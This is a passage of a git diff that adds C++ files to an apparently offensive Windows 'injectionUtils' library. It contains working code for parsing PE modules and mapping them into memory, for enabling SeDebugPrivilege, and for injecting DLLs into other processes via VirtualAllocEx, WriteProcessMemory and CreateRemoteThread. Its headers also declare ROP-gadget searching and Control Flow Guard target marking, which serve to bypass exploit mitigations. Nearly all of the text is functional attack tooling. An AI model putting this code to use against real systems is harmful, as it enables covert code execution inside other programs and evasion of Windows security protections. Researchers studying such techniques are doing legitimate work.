readStringFromModule(funcNameRVA); + + // If the exported function is outside the export table, it's a forwarded export. + if (exportedCodeRVA >= expDescPtr && exportedCodeRVA < expDescLimit) + { + std::wstring forwardString = readStringFromModule(exportedCodeRVA); + SIZE_T dotPos = forwardString.find(L"."); + std::wstring forwardedModule = forwardString.substr(0, dotPos); + std::wstring forwardedFunction = forwardString.substr(dotPos + 1, forwardString.size()); + exportedFunc f(exportedFunctionName, forwardedModule, forwardedFunction); + exports.push_back(f); + } + else + { + exportedFunc f(exportedFunctionName, exportedCode, exportedCodeRVA); + exports.push_back(f); + } + }; + free(nameOrdinals); +} + +void moduleInMemory::processModuleRelocs(IMAGE_NT_HEADERS *pe) +{ + unsigned long long relocsPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; + if (relocsPtr == NULL) + return; + + unsigned long long endOfRelocsPtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; + while (relocsPtr < endOfRelocsPtr) + { + IMAGE_BASE_RELOCATION relocBlock; + readFromModule(relocsPtr, &relocBlock, sizeof(IMAGE_BASE_RELOCATION)); + unsigned long long blockData = relocsPtr + sizeof(IMAGE_BASE_RELOCATION); + for (unsigned int relocIndex = 0; relocIndex < (relocBlock.SizeOfBlock - 8) / sizeof(WORD); relocIndex++) + { + unsigned short relocAndType; + readFromModule(blockData, &relocAndType, sizeof(unsigned short)); + + unsigned char relocType = (relocAndType >> 12); + unsigned short relocVal = (relocAndType & 0x0fff); + if (relocType == IMAGE_REL_BASED_ABSOLUTE) + { + // .. nothing to do for this type + } + else if (relocType == IMAGE_REL_BASED_DIR64) + { + unsigned long long relocAddr = relocBlock.VirtualAddress + relocVal; + // unsigned long long toAdd = ((unsigned long long)targetModuleBase) - pe->OptionalHeader.ImageBase; + + relocs.push_back(relocation(relocAddr, 0, sizeof(unsigned long long))); + } + else + { + throw std::runtime_error("Unrecognised relocation type"); + } + relocsPtr += 2; + blockData += 2; + } + relocsPtr += sizeof(IMAGE_BASE_RELOCATION); + } +} + +void moduleInMemory::processModuleTLSCallbacks(IMAGE_NT_HEADERS *pe) +{ + if (!hasTLS) + return; + + unsigned long long tlsTablePtr = pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress; + if (pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size != sizeof(IMAGE_TLS_DIRECTORY)) + throw std::runtime_error("Module has TLS entry not of sizeof(IMAGE_TLS_DIRECTORY)"); + + IMAGE_TLS_DIRECTORY tlsDir; + readFromModule(tlsTablePtr, &tlsDir, sizeof(IMAGE_TLS_DIRECTORY)); + + unsigned long long callbackCursor = tlsDir.AddressOfCallBacks - ((unsigned long long)targetModuleBase); + while (true) + { + unsigned long long callbackAddress; + readFromModule(callbackCursor, &callbackAddress, sizeof(unsigned long long)); + if (callbackAddress == NULL) + break; + TLSCallbacks.push_back(callbackAddress - ((unsigned long long)targetModuleBase)); + callbackCursor += sizeof(unsigned long long); + } + +} + +void moduleInMemory::writeToModuleWithoutPermissionCheck(void* srcData, unsigned long long dstBased, SIZE_T bytesToWrite) +{ + SIZE_T bytesActuallyWritten; + int s = WriteProcessMemory(targetProcess, (void*)dstBased, srcData, bytesToWrite, &bytesActuallyWritten); + if (!s) + { + std::ostringstream os(""); + os << "Failed WriteProcessMemory of " << bytesToWrite << " bytes starting from " << std::hex << dstBased << + " : wrote only " << std::dec << bytesActuallyWritten << " of " << bytesToWrite << ", GLE " << GetLastError(); + throw std::runtime_error(os.str()); + } +} + +moduleFromDisk::moduleFromDisk(LPCWSTR filename) +{ + fhnd = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if (fhnd == INVALID_HANDLE_VALUE) + { + std::ostringstream os(""); + os << "Unable to open file '" << filename << "', GLE reported error code " << GetLastError(); + throw std::runtime_error(os.str()); + } + + IMAGE_DOS_HEADER mz; + readFromFile(0, &mz, sizeof(mz)); + if (mz.e_magic != IMAGE_DOS_SIGNATURE) + throw std::runtime_error("Module has incorrect MZ signature"); + + IMAGE_NT_HEADERS pe; + readFromFile(mz.e_lfanew, &pe, sizeof(pe)); + if (pe.Signature != IMAGE_NT_SIGNATURE) + throw std::runtime_error("Module has incorrect PE signature"); + + this->targetProcess = GetCurrentProcess(); + this->entrypoint = pe.OptionalHeader.AddressOfEntryPoint; + + // Alloc enough memory for the whole image + this->targetModuleBase = VirtualAlloc((void*)pe.OptionalHeader.ImageBase, pe.OptionalHeader.SizeOfImage, MEM_RESERVE + MEM_COMMIT, PAGE_READWRITE); + if (this->targetModuleBase == NULL) + throw std::runtime_error("Unable to allocate space for image"); + if (this->targetModuleBase != (void*)pe.OptionalHeader.ImageBase) + throw std::runtime_error("Couldn't load image at preferred base address"); + + // Load the headers at the start of the loaded range + readFromFile(0, this->targetModuleBase, pe.OptionalHeader.SizeOfHeaders); + + // Load each section + unsigned char* sectionPtr = (unsigned char*)this->targetModuleBase; + sectionPtr += mz.e_lfanew + FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pe.FileHeader.SizeOfOptionalHeader; + IMAGE_SECTION_HEADER* sections = (IMAGE_SECTION_HEADER*)sectionPtr; + for (unsigned int sectionIndex = 0; sectionIndex < pe.FileHeader.NumberOfSections; sectionIndex++) + { + IMAGE_SECTION_HEADER sect; + memcpy(§, §ions[sectionIndex], sizeof(IMAGE_SECTION_HEADER)); + section newSect(§); + this->sections.push_back(newSect); + } + + setPEFeatures(&pe); + + // load section data + for (unsigned int sectionIndex = 0; sectionIndex < pe.FileHeader.NumberOfSections; sectionIndex++) + readFromFile(sections[sectionIndex].PointerToRawData, (void*)(sections[sectionIndex].VirtualAddress + pe.OptionalHeader.ImageBase), sections[sectionIndex].SizeOfRawData); + + // And finish the load. + IMAGE_NT_HEADERS* pePtr = (IMAGE_NT_HEADERS*)(((unsigned char*)this->targetModuleBase) + mz.e_lfanew); + processModuleImports(pePtr); + processModuleExports(pePtr); + processModuleRelocs(&pe); + processModuleTLSCallbacks(pePtr); +} + +moduleFromDisk::~moduleFromDisk() +{ + CloseHandle(fhnd); +} + +void moduleFromDisk::readFromFile(int pos, void* outbuf, int size) +{ + DWORD bytesRead; + SetFilePointer(fhnd, pos, 0, FILE_BEGIN); + if (!ReadFile(fhnd, outbuf, size, &bytesRead, NULL)) + throw std::runtime_error("ReadFile failed"); + + if (bytesRead != size) + throw std::runtime_error("short read"); +} + +// FIXME: do these classes violate const safety? +std::runtime_error errorMaker::wruntime_error(std::wstring unicodeMsg) +{ + std::wstring_convert> converter; + std::string messageAnsi = converter.to_bytes(unicodeMsg); + return std::runtime_error(messageAnsi); +} +std::runtime_error errorMaker::wruntime_error(std::wstringstream* unicodeMsgStream) +{ + return wruntime_error(unicodeMsgStream->str()); +} + +stackBuilder::stackBuilder(HANDLE newTargetProcess, unsigned long long newStackSize) : targetProcess(newTargetProcess), stackSizeBytes(newStackSize) +{ + stackInTargetAddressSpace = (unsigned long long)VirtualAllocEx(targetProcess, NULL, stackSizeBytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (stackInTargetAddressSpace == NULL) + { + std::wstringstream os(L""); + os << "Failed to allocate " << std::hex << stackSizeBytes << " bytes for stack: GetLastError is " << std::dec << GetLastError(); + throw errorMaker::wruntime_error(&os); + } + + // We do all the stack building in our own processess address space, and then copy it + // to the target in writeToProcess. + stack = (unsigned long long*)calloc(stackSizeBytes, 1); + stackSizeULLs = stackSizeBytes / sizeof(unsigned long long); + stackPointerULLs = stackSizeULLs; + + // We will put our data near the top of this stack, allowing some extra headroom. + if (stackSizeULLs < 20) + throw std::runtime_error("stackSize: too small stack space"); + stackPointerULLs -= 20; +} + +void stackBuilder::push(unsigned long long newVal) +{ + if (stackPointerULLs == 0) + throw std::runtime_error("stackSize: stack is too small to push anything more"); + + stackPointerULLs--; + stack[stackPointerULLs] = newVal; +} + +unsigned long long stackBuilder::writeToProcess() +{ + SIZE_T written = 0; + if (!WriteProcessMemory(targetProcess, (void*)stackInTargetAddressSpace, stack, stackSizeBytes, &written) || written != stackSizeBytes) + { + std::wstringstream os(L""); + os << "Failed to WriteProcessMemory; wrote " << written << " of " << stackSizeBytes << " bytes; GetLastError is " << GetLastError(); + throw errorMaker::wruntime_error(&os); + } + + return stackInTargetAddressSpace; +} + +unsigned long long stackBuilder::getPtrToTopOfStack() +{ + return stackInTargetAddressSpace + (stackPointerULLs * sizeof(unsigned long long)); +} diff --git a/injectionUtils/moduleManipulation.h b/injectionUtils/moduleManipulation.h new file mode 100644 index 0000000..3cbca2b --- /dev/null +++ b/injectionUtils/moduleManipulation.h @@ -0,0 +1,165 @@ +#pragma once + +#include +#include +#include + +class section +{ +public: + section(); + section(IMAGE_SECTION_HEADER* hdr); + + std::wstring name; + DWORD Characteristics; + DWORD PhysicalAddress; + DWORD VirtualAddress; + DWORD VirtualSize; +}; + +class relocation +{ +public: + unsigned long long targetSite; + unsigned long long fixedUpValue; + unsigned int size; + + relocation(unsigned long long newTargetSite, unsigned long long newFixedUpValue, unsigned int newSize); +}; + +class exportedFunc +{ +public: + exportedFunc(std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA); + exportedFunc(std::wstring functionName, std::wstring forwardedModuleName, std::wstring forwardedFunctionName); + + std::wstring functionName; + unsigned long long functionPointerSite; + unsigned long long functionPointerRVA; + std::wstring forwardedFunctionName; + std::wstring forwardedModuleName; + BOOL isForwarded; +}; + +class importedFunc : public exportedFunc +{ +public: + importedFunc(std::wstring moduleName, std::wstring functionName, unsigned long long functionPointerSite, unsigned long long functionPointerRVA); + + std::wstring moduleName; +}; + +class moduleInMemory +{ +public: + moduleInMemory(HANDLE targetProcessHandle, void* targetModuleBase); + moduleInMemory(HANDLE targetProcessHandle, std::wstring targetModuleName); + + void injectThread(unsigned long long startRVA, unsigned long long* args, unsigned int argCount, bool waitForReturn = true); + section* getSectionForAddress(unsigned long long toFind); + section* getSectionByName(std::wstring toFind); + void readFromModule(unsigned long long srcAddress, void* outBuf, SIZE_T bytesToRead); + std::wstring readStringFromModule(unsigned long long srcAddress); + void writeToModule(void* srcData, unsigned long long destAddress, SIZE_T bytesToWrite); + importedFunc* getImport(std::wstring moduleName, std::wstring functionName); + exportedFunc* getExport(std::wstring functionName); + BOOL hasExport(std::wstring functionName); + void markCFGValid(unsigned long long ptrToMarkValid); + unsigned long long resolveExport(std::wstring importName); + unsigned long long locateROPGadget(unsigned char* bytesToFind, unsigned int bytesToFindLen); + + unsigned long long entrypoint; + std::vector
sections; + std::vector imports; + std::vector exports; + std::vector TLSCallbacks; + std::vector relocs; + bool hasImports; + bool hasExports; + bool hasTLS; + + void* targetModuleBase; + unsigned long long sizeOfImage; + unsigned long long preferredBaseAddress; +private: + void commonInit(); + + HANDLE targetProcess; + + typedef BOOL(*SetProcessValidCallTargetsType)(HANDLE hProcess, PVOID VirtualAddress, SIZE_T RegionSize, ULONG NumberOfOffsets, PCFG_CALL_TARGET_INFO OffsetInformation); + SetProcessValidCallTargetsType SetProcessValidCallTargets_; + + moduleInMemory(); + + void processModule(); + + void setPEFeatures(IMAGE_NT_HEADERS *pe); + void processModuleImports(IMAGE_NT_HEADERS *pe); + void processModuleExports(IMAGE_NT_HEADERS *pe); + void processModuleRelocs(IMAGE_NT_HEADERS *pe); + void processModuleTLSCallbacks(IMAGE_NT_HEADERS *pe); + + + class ROPGadgetInfo + { + public: + ROPGadgetInfo(void* newModuleBase, unsigned char* newBytesToFind, unsigned int newBytesToFindLen) : moduleBase(newModuleBase), bytesToFind(newBytesToFind), bytesToFindLen(newBytesToFindLen) + { + + } + + bool operator<(const ROPGadgetInfo& other) const + { + if (moduleBase != other.moduleBase) + return moduleBase > other.moduleBase; + if (bytesToFindLen != other.bytesToFindLen) + return bytesToFindLen > other.bytesToFindLen; + return memcmp(bytesToFind, other.bytesToFind, bytesToFindLen); + } + + void* moduleBase; + unsigned char* bytesToFind; + unsigned int bytesToFindLen; + }; + + static std::map gadgetCache; + unsigned long long locateROPGadgetUncached(ROPGadgetInfo* toFind); + unsigned long long addModuleBase(unsigned long long toAdd); + + void writeToModuleWithoutPermissionCheck(void* srcData, unsigned long long dstBased, SIZE_T bytesToWrite); + friend class moduleFromDisk; +}; + +class moduleFromDisk : public moduleInMemory +{ +public: + moduleFromDisk(LPCWSTR filename); + ~moduleFromDisk(); +private: + HANDLE fhnd; + void readFromFile(int pos, void* outbuf, int size); +}; + + +class errorMaker +{ +public: + static std::runtime_error wruntime_error(std::wstring unicodeMsg); + static std::runtime_error wruntime_error(std::wstringstream* unicodeMsgStream); +}; + +class stackBuilder +{ +public: + stackBuilder(HANDLE newTargetProcess, unsigned long long newStackSize); + void push(unsigned long long newVal); + unsigned long long writeToProcess(); + unsigned long long getPtrToTopOfStack(); +private: + unsigned long long* stack; + unsigned long long stackSizeBytes; + unsigned long long stackSizeULLs; + unsigned long long stackPointerULLs; + HANDLE targetProcess; + unsigned long long stackInTargetAddressSpace; +}; \ No newline at end of file diff --git a/injectionUtils/public.h b/injectionUtils/public.h new file mode 100644 index 0000000..5e9f0fe --- /dev/null +++ b/injectionUtils/public.h @@ -0,0 +1,8 @@ +#pragma once +#include "moduleManipulation.h" + +BOOL EnableDebugPrivilege(BOOL bEnable); +void* injectLoadLibrary(HANDLE toScanHandle, const wchar_t* toLoad); +unsigned char* getModuleBase(HANDLE toScanHandle, const wchar_t* moduleNameSubstring); +BOOL isModuleLoaded(HANDLE toScanHandle, const wchar_t* moduleNameSubstring); +DWORD getPIDForProcessByName(TCHAR* toFind); diff --git a/injectionUtils/stdafx.cpp b/injectionUtils/stdafx.cpp new file mode 100644 index 0000000..fd4f341 --- /dev/null +++ b/injectionUtils/stdafx.cpp @@ -0,0 +1 @@ +#include "stdafx.h" diff --git a/injectionUtils/stdafx.h b/injectionUtils/stdafx.h new file mode 100644 index 0000000..f308492 --- /dev/null +++ b/injectionUtils/stdafx.h @@ -0,0 +1,6 @@ +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +#include diff --git a/injectionUtils/targetver.h b/injectionUtils/targetver.h new file mode 100644 index 0000000..87c0086 --- /dev/null +++ b/injectionUtils/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/injectionUtils/utils.cpp b/injectionUtils/utils.cpp new file mode 100644 index 0000000..00a6616 --- /dev/null +++ b/injectionUtils/utils.cpp @@ -0,0 +1,172 @@ +#include "stdafx.h" +#include + +#include +#include + +#include +#include +#include +#include + +#include "moduleManipulation.h" + +BOOL EnableDebugPrivilege(BOOL bEnable) +{ + HANDLE hToken = nullptr; + LUID luid; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; + if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE; + + TOKEN_PRIVILEGES tokenPriv; + tokenPriv.PrivilegeCount = 1; + tokenPriv.Privileges[0].Luid = luid; + tokenPriv.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0; + + if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE; + + return TRUE; +} + +unsigned char* getModuleBase(HANDLE toScanHandle, const wchar_t* moduleNameSubstring) +{ + DWORD cbNeeded; + int s = EnumProcessModules(toScanHandle, NULL, 0, &cbNeeded); + if (s == 0) + { + printf("Couldn't call EnumProcessModules to get buffer size, gle %d\n", GetLastError()); + return NULL; + } + + HMODULE* moduleList = (HMODULE*)malloc(cbNeeded); + memset(moduleList, 0, cbNeeded); + s = EnumProcessModules(toScanHandle, moduleList, cbNeeded, &cbNeeded); + if (s == 0) + { + // This'll happen sometimes if there's a module loaded between our calls. + // TODO: we can retry in this case. + printf("Couldn't call EnumProcessModules to get modules, gle %d.\n", GetLastError()); + return NULL; + } + + for (HMODULE* thisModPtr = &moduleList[0]; thisModPtr < &moduleList[cbNeeded / sizeof(HMODULE)]; thisModPtr++) + { + HMODULE thisModule = *thisModPtr; + wchar_t szModName[MAX_PATH]; + memset(szModName, 0, MAX_PATH); + if (GetModuleFileNameEx(toScanHandle, thisModule, szModName, MAX_PATH - sizeof(wchar_t)) == 0) + { + printf("GetModuleFileNameEx failed, GLE %d\n", GetLastError()); + continue; + } + if (StrStrI(szModName, moduleNameSubstring) != NULL) + { + free(moduleList); + return (unsigned char*)thisModule; + } + } + free(moduleList); + return NULL; +} + +BOOL isModuleLoaded(HANDLE toScanHandle, const wchar_t* moduleNameSubstring) +{ + return getModuleBase(toScanHandle, moduleNameSubstring) != NULL; +} + +void* injectLoadLibrary(HANDLE toScanHandle, const wchar_t* toLoad) +{ + // Find kernelbase and then LoadLibraryA + moduleInMemory kernelbase(toScanHandle, L"kernelbase.dll"); + unsigned long long loadLibraryWInTargetProcess = kernelbase.resolveExport(L"LoadLibraryW"); + + // Put the name of the module we're loading in the target's address space + unsigned long long moduleName = (unsigned long long)VirtualAllocEx(toScanHandle, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (moduleName == NULL) + { + std::wstringstream os(L""); + os << "Failed to allocate 0x1000 bytes for module name: GetLastError is " << std::dec << GetLastError(); + throw errorMaker::wruntime_error(&os); + } + SIZE_T written = 0; + SIZE_T toWrite = lstrlenW(toLoad) * sizeof(wchar_t); + if (!WriteProcessMemory(toScanHandle, (void*)moduleName, toLoad, toWrite, &written) || written != toWrite) + { + std::wstringstream os(L""); + os << "Failed to copy module name to target process; GetLastError is " << GetLastError(); + throw errorMaker::wruntime_error(&os); + } + + // And create the thread that will do the load. + DWORD tid; + HANDLE s = CreateRemoteThread(toScanHandle, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryWInTargetProcess, (char*)moduleName, 0, &tid); + if (!s) + { + std::wstringstream os(L""); + os << "CreateRemoteThread failed, GLE %d" << GetLastError(); + throw errorMaker::wruntime_error(&os); + } + + // Allow 60 seconds for the module to load before we give up + if (WaitForSingleObject(s, 60 * 1000)) + { + std::wstringstream os(L""); + os << "Timeout trying to load module '" << toLoad << "' into remote process"; + throw errorMaker::wruntime_error(&os); + } + unsigned char* toRet = getModuleBase(toScanHandle, toLoad); + if (toRet == NULL) + { + std::wstringstream os(L""); + os << "Failed to load module " << toLoad << " into remote process"; + throw errorMaker::wruntime_error(&os); + } + return toRet; +} + +DWORD getPIDForProcessByName(TCHAR* toFind) +{ + // Grab the named process as specified at the commandline. + // This is mostly lifted from https://docs.microsoft.com/en-us/windows/desktop/psapi/enumerating-all-processes + DWORD aProcesses[1024], cbNeeded, cProcesses; + unsigned int i; + if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) + { + std::wstringstream os(L""); + os << "Failed EnumProcesses, GetLastError " << GetLastError(); + throw errorMaker::wruntime_error(&os); + } + cProcesses = cbNeeded / sizeof(DWORD); + + for (i = 0; i < cProcesses; i++) + { + if (aProcesses[i] != 0) + { + HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, aProcesses[i]); + + if (NULL == hProcess) + continue; + HMODULE hMod; + DWORD cbNeeded; + + TCHAR szProcessName[MAX_PATH] = TEXT(""); + if (!EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) + continue; + + GetModuleBaseName(hProcess, hMod, szProcessName, sizeof(szProcessName) / sizeof(TCHAR)); + + if (_wcsicmp(toFind, szProcessName) == 0) + { + CloseHandle(hProcess); + return aProcesses[i]; + } + CloseHandle(hProcess); + } + } + + std::wstringstream os(L""); + os << "Cannot find module '" << toFind << "'"; + throw errorMaker::wruntime_error(&os); +} +